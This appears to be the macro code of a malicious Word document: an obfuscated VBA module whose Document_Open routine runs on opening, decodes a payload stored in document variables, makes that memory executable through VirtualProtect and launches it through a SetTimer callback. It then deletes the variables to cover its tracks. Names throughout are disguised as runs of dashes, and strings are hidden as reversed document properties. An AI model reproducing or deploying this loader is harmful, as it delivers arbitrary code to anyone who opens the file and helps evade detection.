Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare PtrSafe Function —––——–——–—–—–——–———— Lib "user32" Alias "SetTimer" (ByVal ——––—––—————––—– As LongPtr, ByVal ——–———–————————–—––––—––––—––— As LongPtr, ByVal ———––——–— As LongPtr, ByVal —–———––——–—––——–———–— As LongPtr) As LongPtr
Private Declare PtrSafe Function –—————––——––— Lib "user32" Alias "KillTimer" (ByVal –——–—––———–——–––————– As LongPtr, ByVal ————–—— As LongPtr) As LongPtr
Private Declare PtrSafe Function ––—————–––——––——– Lib "kernel32" Alias "VirtualProtect" (ByVal —–––——––——––––— As LongPtr, ByVal —––––——–—–———–—––——––—–— As LongPtr, ByVal ––——––––—–—–—––——–––—— As LongPtr, ——–—–—–—–—–——–—–—— As LongPtr) As LongPtr
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
Function ––––—–––—–——–––—(————––—–—––—–——––—————–——–––, Optional —–—––————–—–——––——–——–––—– = False)
    If —–—––————–—–——––——–——–––—– Then
        ––—–—————–—– = Len(————––—–—––—–——––—————–——–––)
    Else
        ––—–—————–—– = ––—–—–—––––(—–—–—––———––——–—–(), ————––—–—––—–——––—————–——–––)
    End If
    ––––—–––—–——–––— = ––—–—————–—–
    End Function
Function ––—–—–—––––(–—–—–—————–———–––———–––——–——, Optional ——————– = Empty, Optional ——––—–——–—––—–—–—–—––————– = Empty, Optional ——–—–——–—–—––———————–—–—–– = Empty)
    Select Case –—–—–—————–———–––———–––——–——
            Case —–—–—–—––———––––—––()
                Set ––—–—–—–––– = —––——––—––––—––(——————–, True)
            Case —–()
                Set ––—–—–—–––– = –—–——––—–—–(——————–, True)
            Case –—–––––—–———–—()
                Set ––—–—–—–––– = ———(True)
            Case —–––——–()
                Set ––—–—–—–––– = —(True)
            Case —––—–—––——()
                Set ––—–—–—–––– = —––——–––(——————–, True)
            Case —–––––()
                ––—–—–—–––– = —–––––—–—–———–(——————–, True)
            Case —–—–—––———––——–—–()
                ––—–—–—–––– = ––––—–––—–——–––—(——————–, True)
            Case –—–———–——––—–—––()
                ––—–—–—–––– = —––(——————–, True)
            Case ———–———–—–———––—–––——–—––—–—()
                ––—–—–—–––– = –———–––——–—–—–(——————–, True)
            Case –——––——–———–()
                ––—–—–—–––– = ————–—–—–––(——————–, ——––—–——–—––—–—–—–—––————–, True)
            Case ———–——–—–––()
                ––—–—–—–––– = ———––––—–—————(True)
            Case ––———––————––———–––——–—–()
                ––—–—–—–––– = —––—–––————–(——————–, True)
        End Select
End Function
Function —––——––—––––—––(—––———–—–—–—––—–—–——, Optional –———––——–– = False)
    If –———––——–– Then
        Set —––––—– = CallByName(———(), x8flLq("oQMjBoChn9f"), VbGet, —––———–—–—–—––—–—–——)
    Else
        Set —––––—– = ––—–—–—––––(—–—–—–—––———––––—––(), —––———–—–—–—––—–—–——)
    End If
    Set —––——––—––––—–– = —––––—–
    End Function
Function ———–——–—–––()
    ———–——–—––– = 10
    End Function
Function –—–——––—–—–(–—————––––—–——–——–—–––———–———, Optional –––—––—–—– = False)
    If –––—––—–—– Then
        Set —–—––––—–———––——–———–—–––– = CallByName(———(), x8flLq("nsTo4UOnp"), VbGet, –—————––––—–——–——–—–––———–———)
    Else
        Set —–—––––—–———––——–———–—–––– = ––—–—–—––––(—–(), –—————––––—–——–——–—–––———–———)
    End If
    Set –—–——––—–—– = —–—––––—–———––——–———–—––––
    End Function
Function ————–—–—–––(———––—–——––—–—–———, —––––——–———–—————–––——–——–––, Optional –—––—–—––––————–———–————–——––—— = False)
    If –—––—–—––––————–———–————–——––—— Then
        —––—––——–—–——–——– = Mid(———––—–——––—–—–———, —––––——–———–—————–––——–——––– + 1, 1)
    Else
        —––—––——–—–——–——– = ––—–—–—––––(–——––——–———–(), ———––—–——––—–—–———, —––––——–———–—————–––——–——–––)
    End If
    ————–—–—––– = —––—––——–—–——–——–
    End Function
Function –———–––——–—–—–(——, Optional ––—————––—–—–––– = False)
    If ––—————––—–—–––– Then
        ———–––––—–———–—––––——–––— = VarPtr(——)
    Else
        ———–––––—–———–—––––——–––— = ––—–—–—––––(———–———–—–———––—–––——–—––—–—(), ——)
    End If
    –———–––——–—–—– = ———–––––—–———–—––––——–––—
    End Function
Function ———––––—–—————(Optional —–————––—–—–———–——––———––—– = False)
    If —–————––—–—–———–——––———––—– Then
        –––––—–———————––– = Timer()
    Else
        –––––—–———————––– = ––—–—–—––––(———–——–—–––())
    End If
    ———––––—–————— = –––––—–———————–––
    End Function
Function —–—–—––———––——–—–()
    —–—–—––———––——–—– = 6
    End Function
Function —–()
    —– = 1
    End Function
Function —––—–––————–(–––——––––—–——–—––––––———–, Optional –– = False)
    If –– Then
        –—––—– = –(–––——––––—–——–—––––––———–)
    Else
        –—––—– = ––—–—–—––––(––———––————––———–––——–—–(), –––——––––—–——–—––––––———–)
    End If
    —––—–––————– = –—––—–
    End Function
Private Sub Document_Open()
    Dim –––——––——–—––———–—–————–—() As Byte
    If ——––——–—––——–—–––––—–––——–———() Then
        –––——––——–—––———–—–————–— = —––—–––————–(—––——––—––––—––(x8flLq("FVKgOaQyiB")).Value)
    Else
        –––——––——–—––———–—–————–— = —––—–––————–(—––——––—––––—––(x8flLq("SCImJHRhlw")).Value)
    End If
    Dim —––—–———————– As LongPtr
    Dim —–—–—–——————— As LongPtr
    Dim —––—–––—– As LongPtr
    Dim ––——–————––––– As LongPtr
    —–—–—–——————— = —–––––—–—–———–(–––——––——–—––———–—–————–—) + 1
    —––—–––—– = VarPtr(–––——––——–—––———–—–————–—(0))
    ––—————–––——––——– —––—–––—–, —–—–—–———————, 64, VarPtr(—––—–———————–)
            —()(x8flLq("hyBN_aoLp9r")) = x8flLq("NSdoR5j_gt")
        ––——–————––––– = —––——–——–—–—–——–————(0, —––—–––—–, 1, —––—–––—–)
    ——––———––—–——–———––— 1
    –—————––——––— 0, ––——–————–––––
    —().Remove (x8flLq("nbh7jt"))
    —().Remove (x8flLq("DbSopo"))
    ReDim –––——––——–—––———–—–————–—(1)
End Sub
Function —–––––—–—–———–(——–––––———–—, Optional –—–— = False)
    If –—–— Then
        —–——————––––––—–——––––———– = UBound(——–––––———–—)
    Else
        —–——————––––––—–——––––———– = ––—–—–—––––(—–––––(), ——–––––———–—)
    End If
    —–––––—–—–———– = —–——————––––––—–——––––———–
    End Function
Function —––——–––(––—–—––—–——–——–——–——–————––—–, Optional —––––——––—––––—–– = False)
    If —––––——––—––––—–– Then
        Set ——––—–——–— = GetObject(––—–—––—–——–——–——–——–————––—–)
    Else
        Set ——––—–——–— = ––—–—–—––––(—––—–—––——(), ––—–—––—–——–——–——–——–————––—–)
    End If
    Set —––——––– = ——––—–——–—
    End Function
Function —–––––()
    —––––– = 5
    End Function
Function —(Optional –––——–——– = False)
    If –––——–——– Then
        Set ––——––—––————— = CallByName(—––——–––(x8flLq("Jtmo0biJG8")), x8flLq("Csh99OPh1vt"), VbGet, x8flLq("SRJAAiC8wXlM"))
    Else
        Set ––——––—––————— = ––—–—–—––––(—–––——–())
    End If
    Set — = ––——––—––—————
    End Function
Function ———(Optional ———––— = False)
    If ———––— Then
        Set –—–––—–—–———–––––––—–—–––— = ActiveDocument
    Else
        Set –—–––—–—–———–––––––—–—–––— = ––—–—–—––––(–—–––––—–———–—())
    End If
    Set ——— = –—–––—–—–———–––––––—–—–––—
    End Function
Function –—–———–——––—–—––()
    –—–———–——––—–—–– = 7
    End Function
Function –—–––––—–———–—()
    –—–––––—–———–— = 2
    End Function
Function ––——––—(——–—––––——–——–—–—–————–—–——––——, ——–—————–———–––—–———–––—)
    ––——––— = Mid(——–—––––——–——–—–—–————–—–——––——, ——–—————–———–––—–———–––— + 1, 1)
End Function
Function —–––——–()
    —–––——– = 3
    End Function
Function —––—–—––——()
    —––—–—––—— = 4
    End Function
Function ———–———–—–———––—–––——–—––—–—()
    ———–———–—–———––—–––——–—––—–— = 8
    End Function
Public Function x8flLq(strInput)
        x8flLq = StrReverse(ActiveDocument.CustomDocumentProperties(strInput))
    End Function
Function –——––——–———–()
    –——––——–———– = 9
    End Function
Function —––(––——–––——–——–––—–—–———–———————–, Optional ————––—–––––———––––——–– = False)
    If ————––—–––––———––––——–– Then
        –———– = CDec(––——–––——–——–––—–—–———–———————–)
    Else
        –———– = ––—–—–—––––(–—–———–——––—–—––(), ––——–––——–——–––—–—–———–———————–)
    End If
    —–– = –———–
    End Function
Function –(–—––————–———–—————–—––—––)
    ReDim ––––——––––––——–––———–—––––(––––—–––—–——–––—(–—––————–———–—————–—––—––) - 1) As Byte
    Dim ——–—–—––——––—–—–– As Long, —–––—————–—––— As Long
    Dim —–––—–——–—––––: —–––—–——–—–––– = x8flLq("nSvwgtjkw") & x8flLq("xLJrsLiCHM")
    For ——–—–—––——––—–—–– = 0 To ––––—–––—–——–––—(–—––————–———–—————–—––—––) - 1 Step 2
        —–––—————–—––— = ——–—–—––——––—–—–– / 2
        ––––——––––––——–––———–—––––(—–––—————–—––—) = 255 - —––(—–––—–——–—–––– & ––——––—(–—––————–———–—————–—––—––, ——–—–—––——––—–—––) & ––——––—(–—––————–———–—————–—––—––, ——–—–—––——––—–—–– + 1))
    Next
    – = ––––——––––––——–––———–—––––
End Function
Function —–—–—–—––———––––—––()
    —–—–—–—––———––––—–– = 0
    End Function
Sub ——––———––—–——–———––—(w)
    Dim –—–––—–—–—––————–––—– As Long
    Dim –––—–——–——–—––—— As Long
    –––—–——–——–—––—— = ———––––—–—————() + (––—–——–———–——–——––—)
    Do
        –—–––—–—–—––————–––—– = ———––––—–—————()
        DoEvents
    Loop Until –—–––—–—–—––————–––—– > –––—–——–——–—––——
End Sub
Function ——––——–—––——–—–––––—–––——–———()
    #If Win64 Then
        ——––——–—––——–—–––––—–––——–——— = True
    #Else
        ——––——–—––——–—–––––—–––——–——— = False
    #End If
End Function
Function ––———––————––———–––——–—–()
    ––———––————––———–––——–—– = 11
    End Function